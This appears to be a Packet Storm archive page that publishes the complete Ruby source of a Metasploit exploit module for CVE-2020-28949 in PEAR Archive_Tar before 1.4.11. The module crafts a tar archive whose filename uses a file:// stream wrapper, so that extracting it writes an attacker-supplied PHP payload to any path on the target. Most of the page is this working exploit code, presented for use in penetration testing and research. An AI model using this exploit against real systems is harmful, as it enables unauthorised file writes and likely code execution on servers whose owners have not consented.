exploit the possibilities

PEAR Archive_Tar Arbitrary File Write

PEAR Archive_Tar Arbitrary File Write
Posted Jan 25, 2021
Authored by gwillcox-r7, xorathustra | Site metasploit.com

This Metasploit module takes advantages of Archive_Tar versions prior to 1.4.11 which fail to validate file stream wrappers contained within filenames to write an arbitrary file containing user controlled content to an arbitrary file on disk. Note that the file will be written to disk with the permissions of the user that PHP is running as, so it may not be possible to overwrite some files if the PHP user is not appropriately privileged.

tags | exploit, arbitrary, php
advisories | CVE-2020-28949
MD5 | 7c33e20f3f1e07af9b1f4641460e7354

PEAR Archive_Tar Arbitrary File Write

Change Mirror Download
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'rex/tar'

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Exploit::FILEFORMAT

def initialize(info = {})
super(
update_info(
info,
'Name' => 'PEAR Archive_Tar < 1.4.11 Arbitrary File Write',
'Description' => %q{
This module takes advantages of Archive_Tar < 1.4.11's lack of validation of file stream wrappers contained
within filenames to write an arbitrary file containing user controlled content to an arbitrary file
on disk. Note that the file will be written to disk with the permissions of the user that PHP is
running as, so it may not be possible to overwrite some files if the PHP user is not appropriately
privileged.
},
'License' => MSF_LICENSE,
'Author' =>
[
'gwillcox-r7', # Metasploit module
'xorathustra', # Original advisory and PoC
],
'References' =>
[
['URL', 'https://github.com/pear/Archive_Tar/issues/33'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-28949'],
['CVE', '2020-28949']
],
'DefaultOptions' =>
{
'EXITFUNC' => 'thread',
'DisablePayloadHandler' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' =>
[
['Archive_Tar < 1.4.11', {}]
],
'Privileged' => false,
'DisclosureDate' => '2020-11-17'
)
)

register_options([
OptString.new('FILEPATH', [true, 'The full path to the file to write on the target.', '/tmp/msf.php'])
])
end

def exploit
# Create malicious tar archive
tarfile = StringIO.new
Rex::Tar::Writer.new tarfile do |tar|
tar.add_file "file://#{datastore['FILEPATH']}", 0o644 do |io|
io.write payload.encoded
end
end
tarfile.rewind
file_buffer = tarfile.read

print_status "Writing file: #{datastore['FILENAME']} (#{file_buffer.length} bytes) ..."
file_create file_buffer
end
end
Login or Register to add favorites

File Archive:

May 2021

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    May 1st
    1 Files
  • 2
    May 2nd
    4 Files
  • 3
    May 3rd
    26 Files
  • 4
    May 4th
    17 Files
  • 5
    May 5th
    3 Files
  • 6
    May 6th
    32 Files
  • 7
    May 7th
    11 Files
  • 8
    May 8th
    2 Files
  • 9
    May 9th
    2 Files
  • 10
    May 10th
    13 Files
  • 11
    May 11th
    17 Files
  • 12
    May 12th
    22 Files
  • 13
    May 13th
    11 Files
  • 14
    May 14th
    9 Files
  • 15
    May 15th
    2 Files
  • 16
    May 16th
    2 Files
  • 17
    May 17th
    21 Files
  • 18
    May 18th
    13 Files
  • 19
    May 19th
    0 Files
  • 20
    May 20th
    0 Files
  • 21
    May 21st
    0 Files
  • 22
    May 22nd
    0 Files
  • 23
    May 23rd
    0 Files
  • 24
    May 24th
    0 Files
  • 25
    May 25th
    0 Files
  • 26
    May 26th
    0 Files
  • 27
    May 27th
    0 Files
  • 28
    May 28th
    0 Files
  • 29
    May 29th
    0 Files
  • 30
    May 30th
    0 Files
  • 31
    May 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2020 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close